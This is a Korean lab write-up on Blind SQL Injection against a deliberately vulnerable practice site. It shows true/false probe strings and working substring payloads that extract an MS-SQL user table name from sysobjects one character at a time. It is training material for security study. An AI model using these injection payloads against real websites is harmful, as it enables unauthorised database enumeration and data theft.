본문으로 바로가기

2. Blind SQL Injection


K-Sheild 에서 제공한 취약한 홈페이지를 대상으로 Blind SQL Injection을 실습


[ DB Table명 확인하기 ]

Table 명은 DB 구조를 이해하는데 중요한 정보 제공

sysobjects : 시스템, 사용자

information_schema.tables : 사용자

위는 테이블이지만 특정 필드에 테이블명들이 포함되어있다.

(sysobjects 는 애초에 DB구축 시 따로 계정을 만들어서 지정된 계정에게만 검색기능 허용, 각각의 테이블마다 권한을 주게끔 권고)


점검방법 ]

 1) 'and 1=1 -- (참)

 2) 'and 1=2 -- (거짓)

 3) 'and 'a' = substring('admin',1,1) -- (참)

    'and 'm' = substring('admin',3,1) -- (참)

    'and 'dmi' = substring('admin',2,3) -- (참)



취약한 사이트의 게시판에서 다음과 같은 Blind SQL Injection이 가능하다.

 1) 'and 1=1 -- (참)
 2) 'and 1=2 -- (거짓)

그림 1-1 은 검색란에 참인 쿼리를 입력했을 경우 항상 참이기에 모든 게시글을 보여준다.

그림 1-2 는 거짓인 쿼리를 입력했을 경우 '검색된 게시물이 없습니다.' 와 같은 경고창이 뜨게된다.

위와 같은 참·거짓 에 대한 사이트 반응으로 substring 함수를 이용하여 사용자 테이블 중 첫번째 테이블을 알아낼 수 있다.

그림 1-1


그림 1-2


다음의 명령어들은 테이블명을 한글자씩 확인하는 명령어이다. ( 직관적인 명령어들이기에 설명을 생락한다 )

'and 'a'=substring((select top 1 name from sysobjects where xtype='U' order by name asc),1,1)--
'and 'b'=substring((select top 1 name from sysobjects where xtype='U' order by name asc),2,1)--
'and 'r'=substring((select top 1 name from sysobjects where xtype='U' order by name asc),3,1)--
'and 'a'=substring((select top 1 name from sysobjects where xtype='U' order by name asc),4,1)--
'and 'm'<substring((select top 1 name from sysobjects where xtype='U' order by name asc),3,1)--
cs

결과적으로 이전 게시글그림 1-5 에서 보았던 'abracadabra' 테이블임을 알 수 있다.